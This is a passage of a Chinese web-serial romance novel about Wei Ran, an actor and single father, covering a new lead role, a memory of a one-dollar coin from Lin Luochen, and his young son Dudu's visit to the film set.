虽然觉得可惜，但季养运很欣赏蔚染这样不急不躁不贪心的性子，便收好合同道：“合同我就找专业法务再审一遍，不回复，先等等再说。” “好。” 蔚染挂断了电话。 可等到了第二天，季养运又来电了—— “你一定想不到，陈导那部戏有眉目了！” 见惯大风大浪，也不是没遇到过天上掉馅饼的机遇，但季养运声音却仍难掩激动： “一早上陈导工作室那边就联系了我，不仅他们的项目成了，现在也基本已经敲定你做男一号了！” 蔚染：“？！！” 不得不说，蔚染现在最惦记、最想合作的戏就是陈导的那部新戏。 虽然陈格也很钟意他，但蔚染跟陈导的资源都有限，单靠他俩想硬组个班底，还需要运作和运气。 上次夜将行杀青招商，两个人是拉了一波宣传和赞助，不过已经过去了一周，蔚染这边一直没收到什么新消息，他也不好催陈导，就一直默默在等。 季养运：“你肯定想不到，今天早上陈导忽然联系了我说，说前期资金够了。” 一听这话，蔚染就立即想到昨天发疯的某个人。 但季养运很快说：“不过我问过了，跟那个谁没关系，不是他注资……你猜是谁？是李总！” ……李总，就是上次招商晚宴上、跟祝涛走得很近的那个。 蔚染也才休息了一天，前天还中了迷药，这会儿脑筋又转不过来了，就露出迷茫的神色——李总能接受他们不带祝涛玩，还给他们投资？为什么呀？ 季养运也觉得很不可思议。 不过他也算是有一些人脉的，便暗戳戳地跟蔚染说：“虽说跟那个谁没关系，但貌似是你那个十三亿，昨天彻底成为他们林氏中国区的执行总裁了。” 蔚染：“……” “他们林氏内部很乱的嘛，具体我也不了解，不过好像是林洛宸赶走了他二叔……听说林氏内部昨天打得很激烈……是真干，差点都报警了。”季养运悄咪咪地跟蔚染八卦。 这种会波及股市的事，林氏内部早就封口了，但整个商界、金融界，谁不是闻风而动的，玩的就是对信息的掌握程度，所有人也都在观察林洛宸这次回来究竟要做什么、能做到什么程度。 而昨天林洛宸彻底在这儿站稳了脚跟，于是今天所有的风向也就都变了。 季养运：“可能是你在招商酒会上与目前最大的、也最神秘的投资商十三亿先生单独聊了几分钟，还是被对方主动抓去谈事的……这李总他们都亲眼所见。” 蔚染：“……” “所以今天你也跟着鸡犬升……啊不是，是你的身价，也水涨船高了。” 蔚染：“…………”不是，李总他们都这么敏锐这么有执行力的吗？ 那也怪不得这么多年了，自己这么挣扎也还没混出什么名堂。 季养运：“资本们虽然还在观望，但你与陈导的合作也基本上算是稳了。陈导说，是李总亲自向她抛来的橄榄枝，还指明要你演男一。等剧本的完成度再高一点，这边确认没问题后，就可以正式签合同。” 蔚染：“……” 季养运现在还在兴奋，但也不忘征询蔚染意见：“……这事儿你怎么看？” “你怎么看？”蔚染反问。 “……” 季养运高兴是高兴，但也没飘，他对这件事的态度是喜忧参半。 还是会担心便宜没好事。 蔚染也是这么个想法。 蔚染早就不会飘了，年轻的时候还会以为成功是靠才华、靠自己，但现在他已经知道，什么都是交换是利益。 事情进展得越顺利，他们就越要谨慎。 片刻后季养运说：“不过还能怎么办呢，你总不能单独把李总他们约出来，跟他们解释你跟姓林的没关系吧。 “反正是他们自己要舔林总的，至于林总……嗯总之，跟咱们没关系。” “……” 经过深思熟虑，季养运还是决定干了，有便宜不占王八蛋。 至于蔚染，他现在性子慢，也习惯了等待，倒还能按捺得住。但既然季养运已经决定先合作再看，他也没什么意见。 毕竟季养运说得对，他们就算有意避嫌也没用，他总不能去跟投资商们解释他跟林洛宸没关系。 ……要是他真去解释了，那才说明有关系呢。 他是什么身份的人？他可不是能代表十三亿发言的人，这种时候，依然是少说少错，不做不错，不节外生枝最好. 与他们团队的谨慎不同，陈格不知其中的关系，倒是很兴奋地找过蔚染，问他：“你跟林先生很熟？” 那会儿已经是晚上，蔚染才哄嘟嘟睡下，看见消息的时候，距离陈导发给他的时间已经过去一个小时。 担心夜晚会打扰到对方休息，也是不知该怎么回答，蔚染便只简单打了几个字过去：“不熟，只是上学的时候认识。” 不想陈格很快回过来消息：“原来如此，读过世界顶级音乐学院就是不一样，这认识的人都非比寻常！我听说那个谁，就是某人，他一听说李总主动要给咱们投资，就在到处打听你跟林总是怎么认识的呢。唉，殊不知，就算打听到了也没用，哈哈~” “……” 蔚染视线简短地扫过这段文字，更不知道该怎么回复对方了。 明天一大早就又要回去拍戏，他今天也忙了一天，有点累，短暂的失神后，蔚染放下手机，走到自己卧室的床头柜前。 忙起来后，蔚染就很少有碰过这房间里的东西了，毕竟他每天只是回来睡一觉，还多半是住在嘟嘟的房间里，自己的房间连打扫整理的时间都没有。 很多尘封的记忆，也如这房间里头的陈列一样，很久都不曾被人翻动过。 蔚染从床头柜的抽屉里拿出个巴掌大的精致小盒子，看上去应该是装戒指一类的首饰盒，但打开来看，里面只躺着一枚一美元的硬币。 那时候的林洛宸与家里闹翻了，学也退了，非要扛着摄像机去非洲拍大象。 一走就是好几个月。 蔚染再见到对方时，个子本就很高的青年又壮了不少，里面穿着一件白色的圆领T恤，外面则是一套水蓝色的牛仔服，说不出的挺拔和英朗。 那时候蔚染也已经签了经纪公司，正忙着为出道写歌，很快就要回国发展。 他们都走在各自梦想的轨道上，好像世界真如他们所构思的一样绚烂美好。 不过林洛宸声称，他只是在玩票。 “只要蔚染需要我，我随时都回来。”林洛宸举着刚开的一瓶啤酒说。 “别闹，我需要你啥啊。” 蔚染已经喝了一瓶，他酒量还可以，就是容易上脸，所以那会儿脸蛋红红的，眼尾也红红的。 然后林洛宸就一直盯着这样的他，一看就是好久。 “是真的，蔚染你比什么都重要。”林洛宸忽然说。 “……” 趁蔚染发愣的时候，四肢修长的青年用酒瓶碰了下蔚染的瓶身，“ping”的一声脆响后，他喝了口口感热辣的冰啤酒，随后向蔚染伸手：“baby，有钱吗？” “什么钱？”蔚染有些懵。 主要是林洛宸对他的称呼，好像越来越放肆了。他怀疑对方喝多了。 可看着青年含情的狗狗眼，蔚染竟然也没敢问你叫我什么，就表面有点不耐烦地推林洛宸： “干嘛啊，多少钱呀？” “多少都行。” “嗯？” “快快，多少都行。”林洛宸还来劲儿了，不仅没被蔚染推远，还反拉着蔚染催促：“……唉，蔚染你快点儿啊。” “……” 蔚染不明所以，但还是在自己身上摸索起来，之后摸到了一枚硬币。 他将它递给林洛宸。 林洛宸便举着那一美元的硬币说：“这一美元，就当我卖给你了，以后你有什么需要，随时吩咐。” 蔚染那时候还是个性格特开朗的大男孩，得知林洛宸还这么幼稚，他自己当时就笑得前仰后合起来，说：“你这是强买强卖啊。” 林洛宸也跟着痴痴地笑，嘴上却不是很满意地问他：“难道你不应该笑我这么便宜就卖给你了吗？” 蔚染摇头表示自己不觉得是那样。 “早知道是这样，我应该拿一美分给你。” “一美分？？”天之骄子连声音都止不住上扬了几分，但林洛宸很快就被他自己给气笑一般躬下身来，趴在蔚染身上泄气地道：“……一美分也卖。” 像只需要主人安抚的大狗狗一样。 蔚染登时笑得更欢快，漂亮的丹凤眼都快拉成一条线。 隔天醒酒后，蔚染也就忘了这一美元的事了。 直到他与林洛宸彻底分开一年半以后，他接到美国那边、前房东给他打来的电话，问他还要不要继续续租的时候。 那会儿嘟嘟都好几个月大了，蔚染的经济实力、实在无法再维持那边的出租屋，也没有必要。 于是他退了租、又请人帮忙打包了所有行李寄回国内的落脚地。 之后，他在收到的包裹里发现了这枚硬币。跟林洛宸留下的众多行李一起。 ……先前林洛宸跟家里决裂后，只要人在美国就基本借住在蔚染的出租屋里。他的东西也都放在蔚染那。 而事实证明，分开的一年半的时间里，林洛宸是既没有取回自己的东西，也留下了这枚硬币。 …… 他说走了，就不会回头。 他已经不要了。 当时蔚染也说不上自己是什么心情。 那会儿蔚染已经很忙了，生存压力很大，他甚至分不出一分钟的时间去思考这个问题。 只是午夜梦回想起这件事实在睡不着的时候，才会安慰自己，这些家当对于只是玩票的林大少爷来说，的确无关紧要。 …… …… 可原来，一切都是因为，林洛宸车祸失忆了吗？…… 蔚染更形容不出自己现在是什么心情. 蔚染在自己的房间里坐了有一会儿，之后还是仔细收好了那枚硬币，放回到床头柜里，又起身离开了这间卧室。 明天一大早就得出门，蔚染也不是铁打的，他知道自己要保留精神头和力气，要不然很可能年纪轻轻就暴毙。 他暴毙倒没什么，但嘟嘟可怎么办？ 有些事、很多事，以他现在的情况，都不是他该再去回想的。 而蔚染一直很自律。 这自律不只表现在持续地控制饮食、保持身材，持续学习和琢磨演技上。 更表现在他丝毫不允许自己精神内耗。 哪怕有时候真迷迷糊糊的什么都记不起来也想不了，蔚染也不允许自己多想. 迷迷糊糊的，蔚染来到嘟嘟房间，轻手轻脚地躺下后，又捞过身边的嘟嘟，让幼崽贴在自己怀里。 蔚嘟嘟睡得暖呼呼，蔚染稍微一拉他，小幼崽就吧唧一下翻进爸爸怀里、自动扒住，跟块小充电宝似的牢牢粘在蔚染身上。 微凉的夜晚，蔚染心上一阵熨帖。 于是什么都顾不及再想，抱着叽里咕噜不知在说什么梦话的宝宝，蔚染进入梦乡。 又隔了两天，季养运出差回来，正式把陈导那边的剧本带给蔚染。 “虽然还是古装戏，但这次不是仙侠剧而是宫廷正剧，你的角色是个将军，打戏也不会少，但跟仙侠还是不一样，幸好骑马和仪态之类的你都熟，不用现学。” 季养运主要说细节和重点：“剧本你有空先看着，距离开机估计还得几个月，前期的准备工作还有运营之类，等彻底签完合同之后我会跟陈导那边再碰几次。” “好。”蔚染接过刚打印好的崭新剧本，一向平冷的眼眸中难得透出一种欣喜的光芒。 这戏疯子。 季养运不意外他的反应，但还是打断了蔚染现在就想看剧本的冲动，又交代了好几件事。 蔚染都一一用小本子记好。 其实也不用记，季养运对待手下的艺人都没这规矩，更何况是对只是合作关系的蔚染。 但蔚染担心自己记不住、自发要记他也没办法。 看着这么乖这么上进的合作艺人，季养运再度感慨自己真是捡到宝了。等把工作事项都说完，他又点开微博，随意翻起了今天的热门话题。 “……顾翰飞被爆吸du，目前以被警察带走调查……” 季养运一边读，一边点进这个热搜。 他带的艺人主要都是演员，对顾翰飞那种爱豆没什么印象，但顾翰飞所属的公司季养运熟，内行看门道，稍稍了解了这个顾翰飞是做什么的，他便立即想到这人是蔚染前公司培养出来的流量。 “那这个人，你岂不是认识？”季养运把手机拿到蔚染面前晃了晃。 蔚染还在小本本上整理季养运刚才交代的事，又一门心思地想着新剧本，根本没听到刚才季养运读了什么。 现在被问了问题，他抬起头也只是看了看，点了点头，复又埋下了头。 明显对顾翰飞的事一点兴趣都没有。 季养运也习惯他这样了，耸了耸肩就收回手机继续往下看—— “咦？这个王导，这不是前几年拍过一部出圈短剧的那个？他跟顾翰飞一起被爆出来了……” 蔚染听到这里，才猛地抬起了头。手中的笔也跟着一抖。 就算再不机敏，可顾翰飞和王导双双被查出吸du的这件事、这个时机…… 实在是太巧了。 就很难不让人怀疑，不是有人针对他俩的故意为之。 ……—— 作者有话说：林某人：不值一提，不值一提。[垂耳兔头] 虽然但是，周末愉快，随机50小红包 第23章 国庆期间, 嘟嘟幼儿园放假。 蔚染实在不忍心幼崽每天只跟王奶奶宅家，于是就挑了两天自己戏份较少的日子，把嘟嘟带去了剧组。 算起来嘟嘟也好几个月没有来爸爸工作的地方了。 尤其是《夜将行》爆火以后, 竟然已经开始有代拍跑来片场蹲蔚染了，出于对嘟嘟的保护，蔚染也不敢轻易再把崽带来。 不过最近都在拍内场戏，封闭保密性做得很好, 蔚染这才没有了顾虑。 而嘟嘟来了以后, 也的确不会再无聊和寂寞。 此前蔚染长期在片场驻扎，本就与很多工作人员和演员脸熟, 有一拨人就是在影城常驻的，甚至还有几位都跟蔚染在很多部戏里一起跑过很多龙套, 那时候很多人都就认识了嘟嘟。 娱乐圈里的同事, 关系比观众想象的还有淡薄一些, 有些人虽然跟蔚染共创了许多部戏, 还有对手戏, 但下了戏以后也不算相熟, 基本很少会单独联络。 可即便是这些与蔚染都不算熟的人，却也还记得嘟嘟。 “呀，这不是嘟嘟吗？跟蔚老师一起来上班了呀？” 穿着白色加绒小卫衣的嘟嘟被蔚染牵着去休息室的路上，就接收到了好些人的注目礼。 毕竟蔚染的风姿和仪态本就惹人注目，他随便穿一件薄棉服戴着棒球帽、哪怕一路低着头，出现在剧组里也会叫人多看两眼。 而这样的人，身边还跟着一个白生生、可爱圆润的小宝宝，正亦步亦趋地被高挑细瘦的大人牵着走…… 这任谁见了，不得再多看两眼。 “……这就是蔚老师家的孩子？” “好白！” “……好圆！” “也太可爱啦吧！” 遇见有人打招呼，嘟嘟也会积极回应, 不管认不认识。 “姨姨好！” “叔叔好~” “姐姐，你好漂亮喏。” 嘟嘟一路嘴甜地跟工作人员们打着招呼，如果不是知道这些都是爸爸的同事，嘟嘟都快要下意识安利众人，请支持染染了！ 蔚染一路含蓄地微笑，并不阻止嘟嘟的自来熟，反而很欣慰嘟嘟性格开朗，是个社交小能手。 而且既然当初蔚染都可以大大方方地在媒体面前承认嘟嘟的存在，那现在堂而皇之地介绍这就是自家崽儿，也就没什么不可以。 当年蔚染出国生嘟嘟前，已经跟前经纪公司解好了约，并也已经遭遇了好几波的大规模脱粉和被网暴事件。 后来再回国时，风波仍旧没有平息，虽然已经糊出十八线了，可还是有媒体不愿放过他，揪住他的一点东西就想趁机炒作博取流量。 然后蔚染身边多了个小婴儿的事，也自然被人拍到曝光了出去。 大字报写的就是蔚染品行不端，未婚生子。 本来已经快忘了他的黑粉，立即开始反扑，势必要把他踩进深渊地狱里似的。 那个时候所有人都劝蔚染，先不要公开嘟嘟的身份，如果蔚染还想借以前的名气复出的话。 毕竟蔚染不止有黑粉，也有铁粉，至少他的歌很多人还是认可的。 纵然是铁粉，也很难只关注作品不关心他这个人，尤其是在当今媒体很喜欢恶意引导的情况下。 如果蔚染爆出有了孩子，恐怕还会遭到大面积的粉丝脱粉。 可蔚染最终还是决定不委屈嘟嘟，也不欺骗粉丝，就这么大大方方地召开了发布会，承认他的确有了个孩子。 他是有了孩子，但不是品行不端，没对不起过任何人。 无论背地里被这些事伤成了什么样，蔚染表面还是很刚的。 或许是太刚太坦然了，这件事反而不是什么黑点了，毕竟蔚染从没靠媚粉、或与其他人炒cp吸取过什么流量，再加上之后也没有什么受害者、或者嘟嘟的另一名亲属站出来指认蔚染品行不端，这件事情就渐渐平息了。 于是那次发布会后，蔚染也几乎彻底销声匿迹。如果不是这次夜将行爆火，很多人都以为他彻底退圈了。 而那样埋头苦干、不见天日的日子，原来已经过去了四年。 与前面几年自己所处的窘境相比，现在的情况真的已经好了无数倍。 蔚染欣慰地揉了揉嘟嘟的小肉手，无比庆幸当初他没有因为一时恐惧，就没有承认嘟嘟。 现在一切都好起来了不是吗。 …… 来到爸爸的化妆间后，嘟嘟就彻底被各种姨姨叔叔哥哥姐姐给包围了。 蔚染性格并不冷漠，但就是生得太美了，自闭以后他不怎么笑，也很少主动跟人搭话，才显得高冷。 以前很多人就不敢随便跟他搭话，感觉说多了都是对这种憔悴美人的打扰和亵渎。 而爆火之后，剧组里的人再看他时，又觉得与蔚老师有了距离、不是一个世界的人了，对他更是恭敬有之，却更不敢靠得太近。 是以以往蔚染化妆的时候，化妆间里总是静悄悄的，即使还有其他演员也在化妆，大家也都很少说话。 但嘟嘟来了就不一样了。 被人群包围的幼崽一点不怯场，还拿出自己的小背包，给众人分发礼物。 嘟嘟可不是那种，第一次来爸爸片场的没见过世面的宝宝啦！嘟宝可有维护人脉的经验了，知道爸爸要带宝宝来自己工作的地方，嘟嘟头两天便开始准备小礼物了—— 他特意去杜爸爸的咖啡店里扫荡了一圈，拿了好多饮品券和咖啡试喝装，以及杜爸爸平时收藏的小纸巾、小丝巾和小饰品。 反正太沉的东西嘟嘟拿不动，就捡轻的拿，正好把小书包装得满满当当。 就这些杜陵还嫌不够—— “林洛宸他还想当你干爹，就用一座游乐园？？……拿！这店里的东西都是嘟嘟的，杜爸爸的东西都是嘟嘟的！我就不信，论诚意我比不上那个姓林的！” 得知嘟嘟有了第六个干爹后，杜爸爸很崩溃。 嘟嘟昨天也是整整安慰了杜爸爸一天，今天才得以跑来陪爸爸的。 虽然嘟嘟也不明白，为什么杜爸爸和林爸爸的关系会不好——手心手背都是肉，他们明明都是嘟宝的干爹呀！ 纵然不理解，嘟嘟也很会端水的，宝宝有安慰杜爸爸说：“虽然杜爸爸没有林爸爸的游乐园，但在宝宝心里，你们是，一样重要哒！” 不仅言语安慰，嘟嘟还把宝宝近期都很喜欢的焦糖味小饼干，分给了杜爸爸。 饼干是上次嘟宝跟还是林叔叔的林爸爸在红薯摊附近的咖啡馆喝牛奶时，店家赠送的那种小饼干。 嘟嘟当时很喜欢。 之后忽然有一天，就有人给嘟嘟的幼儿园送来了好些这个牌子的小饼干，每个小朋友都分了两大包，嘟嘟也拿回家不少。 后来爸爸病了，嘟嘟被接去了医院，认了林叔叔做林爸爸。 那天临分开前，林爸爸又给嘟嘟塞了几包这种饼干，嘟嘟才知道，原来幼儿园里的那些，也都是林爸爸安排人送过去的。 对于林爸爸请全体小朋友吃饼干这件事，嘟嘟表示很开心。老师说过，有好吃哒就是要跟别人分享的。 倒是杜陵不知饼干的来源，只一味被嘟嘟小暖男安慰到了，心情好了不少地炫了好几块。 今天，嘟嘟也有带小饼干分给爸爸身边的姨姨和叔叔们。 “哎呀，嘟嘟真可爱啊，给姨姨抱抱好不好？” 负责给蔚染补妆的助理造型师趁机摸了摸嘟嘟的小手。 本来一想到这是蔚老师家的孩子，也并没抱什么能抱到崽儿的希望……却没想到嘟嘟给旁人派发完小饼干后，就“嗯哒”一声一扭小身子，直接扑进的她的怀里！ 造型师：“！！！” “姐姐，你长得好漂亮喏。”也分外漂亮的蔚嘟嘟，软软地眨着一双大眼睛说。 漂亮姐姐：！！！！ 嘟嘟一看有人喜欢自己，小人机就又上线了，他抱着漂亮姐姐的脖颈说：“那姐姐，要一直支持染染噢！” “……支持支持！我这就去支持蔚老师的商务！”造型师忙掏出手机。 蔚染：“……” “别别别！”蔚染赶紧拉着。 可是造型师小姐姐已经牵着小嘟嘟去了房间的另一头，还悄咪咪地给嘟嘟看自己手机上的记录——其实她早就是蔚染老师的粉丝了。 “哎呀，这家店铺开了积分抽奖，嘟嘟帮姐姐抽一下好不好？一等奖是蔚老师的联名周边礼盒呢，这个价值三百多呢！” “唔？” 嘟嘟探过大头去看姐姐的手机。 然后嘟嘟也大致知道该怎么抽奖，于是嘟嘟很大方地伸出了一根小手指。 几秒钟后，化妆间里响起姐姐和嘟嘟一起发出的尖叫的声音。 “啊啊啊嘟嘟，中了！真的中了！” 嘟嘟眨了眨眼睛，其实并没有反应过来，只是下意识复读：“真嘚儿中了呀！” “我的天呐，嘟嘟就是小福星！” 姐姐拉过还在诧异的小嘟嘟猛吸。 被吸得里倒歪斜的嘟嘟这个倒是听懂了。感受到姐姐的喜悦，嘟嘟立即满意点头：“嘟嘟就是小福星呦！” 蔚染：“……”. 蔚染开始拍戏的时候，嘟嘟就在剧组里，随机跟一些叔叔姨姨们玩。 有王阿姨和助理们跟着，蔚染倒是很放心。 至少，比他更不放心的人出现了——当天下午，林洛宸就出现在了他们剧组。 对方以什么名义出现的，蔚染并不知道，只听说是总制片人把他带来的，导演还特意跑出去迎接。 那会儿蔚染正为了下一场戏跟拍对手戏的女一对戏。 女一号王佳昕也是入行好几年的老人，但跟蔚染差不多，拍戏很多年终于有一次坐上了女一号的位置，因此准备得十分充分。 蔚染就是做事情特别认真的人，王佳昕虽没他经历得多，但个性跟他差不多，有股子率直和韧劲儿，俩人也算惺惺相惜，在剧组里没少互相帮忙。 这会儿见导演跑出了影棚，王佳昕偷偷跟蔚染说：“听我助理说，是个大人物来了。” “哦？” 蔚染端着剧本，没怎么在意。 与其留心“大人物”，他更愿意留意下嘟嘟。因为正在默戏，摄像师们也在找光影角度，所以虽然是中场休息，但这个时候嘟嘟也不适合跑过来找蔚染。 于是嘟嘟圆嘟嘟的一个幼崽就稳稳地坐在旁边的小马扎上，眨着乌黑的眼瞳，一边跟旁边的姐姐聊天一边看着爸爸。 蔚染感受到嘟嘟的目光，下意识把腰挺得更直，默戏更认真。 旁边给王佳昕补妆的化妆师下意识接话：“的确是个大人物……两位老师还记得前几天A组整组休息两天的事儿吗？” “……”蔚染一听这个，终于有了反应，心中警铃大震。 他就是A组的！前几天休息两天，那不就是…… 王佳昕：“当然记得，可惜那时候我在B组……” 王佳昕语气充满遗憾。……她也想休息两天啊！可偏偏赶上那两天她被安排到了B组，在另一名导演那边拍文戏，没赶上这好事…… 要不然，虽然拍摄进度会向后延两天，但据说补偿不菲。而且她跟蔚染基本都是一条就过，本就抢出了不少提前量，就算休息两天也不会影响她后面的工作行程。 王佳昕：“听说那两天是导演和制片人都有事，大事，然后他俩集体请了假，所以整个A组都休了？” 拍戏这么多年也没遇见过这种情况，王佳昕在圈里不算有很多人脉，所以至今都不知道究竟发生了什么。 蔚染：“…………” 化妆师：“对啊，就是见这位大人物！哎呀，资本大佬召唤嘛，总是要去的，停工两天算什么……” “那费用谁来填啊？”王佳昕问。 “自然也是资本大佬补的。人家中途已经投资了。” “那，这这这……” 王佳昕在想，这大佬不是很亏？找导演和制片人谈事情，还得自己掏钱…… 不过对于大佬来说，那点钱应该不算什么吧……比起羡慕资本大佬的大气和随性，王佳昕更羡慕：“还是蔚染你幸运，足足休了两天！唉？那你后面的活动要是有影响，剧组会补你损失嘛？” 蔚染：“……” 蔚染还不知道该怎么回答，一阵骚动传来，他一回头就看见导演和总制片人，引着一个高大的男人走进影棚。 …… 那人的视线在整个场地里逡巡了一圈，蔚染的目光与对方不期相接。 而下一秒，高大的男人则迈开步子，走向场地边缘的……蔚嘟嘟身边。 “唉？就是他嘛？”王佳昕好信儿地跟化妆师一起八卦。 她们倒是没注意到“大人物”的目光最先落到过蔚染的身上，毕竟两个人已经顾不了发现什么细节了—— “是他么？看着不像啊，那模样是哪个男演员吧？” “演员不太可能，太高了不适配。模特还差不多……不过也可能是资本大佬临时送进来的……” “可是看秦导的反应不像唉。……秦导为什么要对一个男模特点头哈腰的？” “唉快看！蔚老师你快看啊，他认识嘟嘟唉！” “……” 蔚染的视线里，林洛宸已经跟嘟嘟打过了招呼，还特别自来熟地坐在了嘟嘟身边的另一个小马扎上。 小马扎嘟嘟坐着都刚刚好，对于林洛宸来说就实在太矮太小了，跟他直接坐在地上没什么区别。 可饶是如此，人高马大的青年还是屈膝坐在嘟嘟身边，神色温和地跟蔚嘟嘟聊天。 蔚染：“……” “蔚、蔚哥/蔚老师？”王佳昕和化妆师妹妹齐齐看向蔚染。 如果说刚刚她们是没反应过来，那这会儿看见蔚老师家的宝宝跟对方那熟稔的样子，以及蔚老师的反应，两个人怎么可能还不懂—— 很明显，蔚老师是认识这个高个子帅哥的啊！ 但因为蔚染平时在片场很少说闲话，也从不参与八卦，两个人发现端倪也没敢出声追问，毕竟不是那种完全可以互开玩笑的关系。 ——她们两个就直勾勾地望着蔚染，眼神中的好奇之意都快溢了出来。 “……”这下蔚染更不知道该怎么解释了。 “那个人，是嘟嘟的一个朋友。”想了想，蔚染委婉道。 ……反正他家宝宝，也经常会在外面结识一些连他都不认识的朋友。并且也不止一次，是嘟嘟给自己找回来个干爹…… 林洛宸的确是嘟嘟自己认回来的。 这么一想，蔚染就知道该怎么回答了。 对没错，虽然他跟嘟嘟天下第一好，但在某些事情上——主要是嘟嘟给自己认爹这件事上，他跟他家宝宝，还是各论各的。 “啊？那人是嘟嘟的朋友？……”化妆师惊奇地夸赞道：“我的天，那嘟嘟也真是太厉害了，社交小天才！” “嗯嗯。”蔚染随意应和，还是有点心虚的，思绪乱飞间，给人的感觉就是他又断片了。 没想到王佳昕的脑回路也同样脱线：“嘟嘟的朋友……那不就是染哥的小辈，天呐，染哥你真是越来越权威了！” 蔚染：“……”—— 作者有话说：嘟嘟：不值一提，不值一提[奶茶][奶茶] 第24章 这段时间将林家在国内市场的事处理得七七八八, 林洛宸实在是忙，也的确好久没见到蔚染和嘟嘟了。 当然今天他也并不闲。 只是忽然听说蔚染把嘟嘟带去了片场…… 林洛宸记得，自己的得力干将钟星火就曾经跟他抱怨过, 说加班太多，毕青只能一个人看孩子，有时候毕青还要上班实在摆布不开时间，就还得带孩子去工作单位…… 而林洛宸小时候, 也独自跟母亲生活过一段时间, 那会儿没人看他的时候，他也是被母亲带去学校, 在一旁的座位上等母亲下课。 …… 结合种种经验，林洛宸觉得蔚染或许是遇上了什么事儿, 实在没招了, 才把嘟嘟带去了片场。 或者是嘟嘟自己的要求, 毕竟这幼崽有成年人难以相信的事业心…… 总之, 听到消息的林洛宸, 就再也坐不住了。 而等他赶到片场, 看见嘟嘟一个崽崽坐在小马扎上的乖巧模样，心中的疼惜之意不期然达到顶峰。 “嘟嘟。” “叔……林爸爸！” 在嘟嘟这里仿佛不存在分别这件事，无论是时隔几天没见，嘟嘟对待已经认下了的干爹都依然热情，一切态度仿若他们昨天才一起吃过饭一般。 嘟嘟热情地给他林爸爸拖来了一个小马扎。 林洛宸没觉得有什么不对地盘膝坐下。 他让其他人去忙，不必围着他——毕竟早点拍完今天的戏，蔚染和嘟嘟就可以早点下班回家。 导演便冲回拍摄区域，去看演员们的对戏情况。 嘟嘟则很顺手地拿出小饼干塞进林爸爸的手里，在想起这饼干就是林爸爸给他的以后，嘟嘟又不好意思地摸出自己的小书包, 从里面摸出两块手工司康。 “林爸爸，给你介个。”嘟嘟举着比他小手还大的小甜品说。 这个是从杜爸爸的咖啡店里拿来的。 人类幼崽，很小时就无师自通地学会了资源互换和共享。 “谢谢。”林洛宸自然认出了这种司康，他最近也没少去杜陵那消费，知道这是杜陵跟隔壁蛋糕房合作的联名款。 “嘟嘟吃吧，林爸爸不用。” “唔。”嘟嘟眨了眨眼睛，长长的睫毛也就跟着一晃一晃，还是坚持把小蛋糕塞进林爸爸的手上。 林洛宸：“……嘟嘟就在这里坐着，会不会无聊？” “不会的嗷。”嘟嘟的世界里是没有无聊的，而作为回答，甚至还没等嘟嘟多说，就已经有剧组人员又跑来逗嘟嘟了。 尽管走到近前忽然发现嘟嘟身边多了个人高马大的人物，工作人员直接被吓得胆怵。 但林洛宸也已经理解，嘟嘟在这里人缘超好。 至少对于一个小幼崽来说，剧组里的一切事物都让嘟嘟应接不暇，根本不会觉得无聊。 蔚染那边很快就正式开拍了。 今天蔚染的戏份都是与女主的感情戏，在这部小成本制作的网剧里，蔚染饰演的男主意气风发，虽然经常会经历挫折，但性格又酷又拽，面临挫折时都会昂头跨过，在女主面前更是狂放又霸道。 林洛宸早听说过蔚染在这部戏中的人设。 他知道这是蔚染用四年时间好不容易换来的一个男一的角色，但说实话，这种剧这种人设，都入不了他这种不怎么关注娱乐的人的眼，可想而知这部戏拍出来，将很难取得什么成就。 可就在导演喊开始的那刻。 蔚染猝不及防地挺直了脊背——这个平时总是顶着一张苍白的脸、手握剧本沉默寡言的人，却在这一刻气场全开。 蔚染大踏步地走到之前定好的点位，薄唇轻抿着几分笑意，漂亮的凤眼有玩世不恭的慵懒，也有万物极难入我眼的傲然。 可偏偏面对女主的时候，蔚染表情不变，那双眼睛却像是会说话一样，极具上位者打量的气势，又有一些不同的温柔流露。 ……狂放不羁的霸总人设其实并不好演，很多男演员气场不够，再努力端着看上去味儿也不对。 而就算演出了那凌驾一切的气势，在拍感情戏时想做到不油也很难。 可蔚染却完美地兼顾了这两点。 即使只是在拍摄现场、没有做任何的后期和修饰，单凭蔚染的一张脸，几个不经意的低眉浅笑，那味道也全都出来了。 “……蔚老师真是太帅了。”等在角落里的群演都下意识地说。 林洛宸也直起身，去看导演面前显示器中的蔚染。 而影棚外围，临时作为通行通道的小门被人推开，荣俊楠带着助理悄无声息地走了进来。 几乎所有人都在关注片场最中央蔚染与王佳昕的对手戏，因而荣影帝的到来并没有引起什么轰动，荣俊楠也看见了蔚染。 他早就发现，平日里蔚染话不多，不拍戏的时候、哪怕是在片场里，蔚染也在尽量缩小自己的存在感。 这个今年二十八岁、孩子都已经四岁大的男人，纵然顶着一张惊世绝艳的脸，也仍旧活得畏畏缩缩，总一副谨小慎微的样子。 可大概是蔚染太好看了。 之前在片场时，荣俊楠还是第一时间就注意到了这个看上去苍白脆弱的男人。 他还是第一次，在圈里遇到这种与“白”如此相称的人。 皮肤白，性格像小白兔又像小绵羊，连灵魂都纯粹到像白纸一张……蔚染遇见谁都是和和蔼蔼笑着的，没什么脾气的样子。 哪怕是对着个群演，都会客客气气叫对方老师……这样的人。是荣俊楠从未遇见过的人。 他与蔚染是在上部电影的拍摄场地中认识的。 荣俊楠作为新晋影帝，是戏里的男一。蔚染只是个普通的配角男三号。 那时候蔚染还没有凭借夜将行爆火，但荣俊楠独独在众多演员中发现了蔚染。这件事即便放在现在去想，荣俊楠仍觉得不可思议。 而蔚染与他的交往，也是“君子之交淡如水”。 在荣俊楠眼中，旁人都恨不得扒着他抢着往他身上贴，可蔚染却像是始终没有意识到自己的身份一样，在片场上不会主动往自己跟前凑，杀青后彻底分开，也从不主动来联系他。 每次都还得荣俊楠来主动来找…… 可对于荣俊楠来说，这样的蔚染就是有办法吸引着他。 如果不是对方的年龄和有娃的身份，他大概会考虑跟蔚染“近一步深交”。 而且荣俊楠也是有脾气的人，蔚染从不主动联络他，他也赌着口气，近期都没有联系过蔚染。 荣俊楠不是没想过，干脆就这么算了。既然蔚染这么不识抬举。 而现在。 摄像机前的蔚染眼尾微微泛着红，即便是被心爱的女主拒绝了，也依旧如高傲的孔雀一般，张扬、霸道，可偏偏，眼角眉梢里又压着一抹说不上来的委屈和深情。 单单只是那双眼睛，就怎么看都看不够似的。 此时整个片场都安静了下来，就生怕打扰了蔚染和王佳昕的发挥。 这场戏本不必一镜到底，但两个人都发挥得过于流畅，导演不舍得喊卡。 蔚染还在沉稳地说着台词。 稍微专业一些的人都能听出来，他是专门练过的，明明告白被拒、几近疯狂，可仍旧字正腔圆，感情饱满。 蔚染在表演时是外放的、是毫不收敛的，甚至有在炫技。 